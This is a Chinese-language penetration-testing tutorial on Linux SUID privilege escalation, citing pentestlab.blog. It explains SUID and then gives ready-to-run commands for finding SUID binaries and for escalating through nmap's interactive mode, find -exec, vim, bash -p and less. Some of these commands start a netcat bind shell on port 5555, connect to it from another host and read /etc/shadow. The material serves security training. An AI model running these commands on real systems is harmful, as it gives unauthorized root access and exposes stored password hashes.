# 什么是 SUID
SUID (Set UID) 是 Linux 中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有 SUID 权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是 SUID 权限的设置只针对二进制可执行文件,对于非可执行文件设置 SUID 没有任何意义.
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。通俗的来讲,假设我们现在有一个可执行文件 ls
, 其属主为 root, 当我们通过非 root 用户登录时,如果 ls
设置了 SUID 权限,我们可在非 root 用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为 root 权限.
利用此特性,我可通过 SUID 进行提权
# 通过 root 设置的具有 SUID 权限的二进制可执行文件提权
现在已知的具有 SUID 权限的二进制可执行文件大体有如下这些
Nmap
Vim
find
Bash
More
Less
Nano
cp
以下命令可以找到正在系统上运行的所有 SUID 可执行文件。准确的说,这个命令将从 / 目录中查找具有 SUID 权限位且属主为 root 的文件并输出它们,然后将所有错误重定向到 /dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
# NMAP
较旧版本的 Nmap(2.02 至 5.21)具有交互模式,允许用户执行 shell 命令。由于 Nmap 在使用 root 权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的 shell。
交互模式可以通过执行 Nmap 参数 " interactive "
nmap --interactive
以下命令将提供一个提升的 shell。
nmap> !sh
# Find
如果 Find 命令也是以 Suid 权限运行的话,则将通过 find 执行的所有命令都会以 root 权限执行。
touch pentestlab
find pentestlab -exec whoami \;
大部分 Linux 操作系统都安装了 netcat,因此也可以被利用来将权限提升至 root。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
连接上去就会直接获取到一个 Root 权限的 shell。
netcat 192.168.1.189 5555
id
cat /etc/shadow
# VIM
Vim 是 Linux 环境下的一款文件编辑器。但是,如果以 SUID 运行的话,它会继承 root 用户的权限,因此可以读取系统上的所有文件。
vim.tiny /etc/shadow
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
# Bash
以下命令将以 root 权限打开一个 bash shell。
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(serv
# Less
Less 和 More 都执行以用来提权。
less /etc/passwd
!/bin/sh
获取到 Root 权限
# 参考资料
https://pentestlab.blog/2017/09/25/suid-executables/
http://blog.csdn.net/haofeifei6/article/details/11516753